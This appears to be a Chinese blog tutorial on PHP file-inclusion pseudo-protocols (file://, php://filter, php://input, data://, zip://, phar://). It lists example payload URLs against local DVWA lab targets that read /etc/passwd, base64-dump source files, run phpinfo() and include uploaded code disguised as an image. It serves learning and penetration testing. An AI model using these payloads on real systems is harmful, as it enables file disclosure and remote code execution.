文件包含中的伪协议

文件包含中的伪协议

1.利用前提

1.web 应用采用 include 等文件包含函数,并且需要包含的文件路径是通过用户传输参数的方式引入;
2.用户能够控制包含文件的参数,被包含的文件可被当前页面访问;
3.在使用文件包含漏洞时,必须要能知道其绝对路径(在包含文件处,查看其返回的错误的信息)

2.伪协议文件包含(伪协议后必须是文件绝对路径)

1.file:// 访问本地文件系统
2.http:// 访问 HTTPs 网址
3.ftp:// 访问 ftp URL
4.php:// 访问输入输出流
5.zlib:// 压缩流
6.data:// 数据
7.ssh2:// security shell2
8.expect:// 处理交互式的流
9.glob:// 查找匹配的文件路径

3.包含函数
在这里插入图片描述
4.file
条件:allow_url_fopen: off/on allow_url_include: off/on (均不受影响)

Linux:http://127.0.0.1/FI/LFI.php?file=file:///etc/passwd		绝对路径
Windows	:http://192.168.6.128:8001/vulnerabilities/fi/?page=file:///C:\DVWA-master\vulnerabilities\fi\1.txt  绝对路径

5.php(主要为php://input与php://filter)

php://input伪协议:(将POST输入流当做PHP代码执行)
条件:allow_url_include:on,allow_url_fopen:on/off(受allow_url_include影响)

php://filter伪协议:(此协议主要用于读取php源代码时会用到)
条件:allow_url_fopen: off/on allow_url_include: off/on (均不受影响)

http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/resource=./1.txt  相对路径
http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/resource=file:///C:\DVWA-master\vulnerabilities\fi\1.txt		 绝对路径
http://127.0.0.1/FI/LFI.php?file=php://filter/resource=file:///etc/passwd
http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=./1.txt	 以base64编码将文件内容输出

6.zip
条件:allow_url_fopen: off/on allow_url_include: off/on(均不受影响)
两种方法:
1 、现将要执行的 php 代码写好并且命名为 a.txt,将 a.txt 进行 zip 压缩,命名为 a.zip,如果可以上传 zip 文件便直接上传,如若不能可将 a.zip 命名为 a.jpg 上传;
2 、将 a.php 直接压缩成 a.bz2

http://127.0.0.1/LFI.php?file=zip://D:/phpstudy/PHPTutorial/WWW/a.zip%23a.txt 
http://127.0.0.1/FI/LFI.php?file=zip://D:/phpstudy/PHPTutorial/WWW/a.jpg%23a.txt

7.phar
条件:allow_url_fopen: off/on allow_url_include: off/on (均不受影响) php 版本大于等于php5.3.0

8.data
条件:allow_url_fopen: on allow_url_include: on(均受影响)

http://192.168.6.128:8001/vulnerabilities/fi/?page=data://test/plain,<?php phpinfo();?>
http://192.168.6.128:8001/vulnerabilities/fi/?page=data://test/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

9.input
条件:allow_url_fopen:off/on allow_url_include:on (只受allow_url_include影响)

http://127.0.0.1/LFI.php?file=php://input	用post方式提交这个数据 <?php phpinfo()?>

10.http
条件:allow_url_fopen: on allow_url_include: on(均受影响)

http://localhost/test.php?file=http://www.baidu.com

总结
在这里插入图片描述

  • 2
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值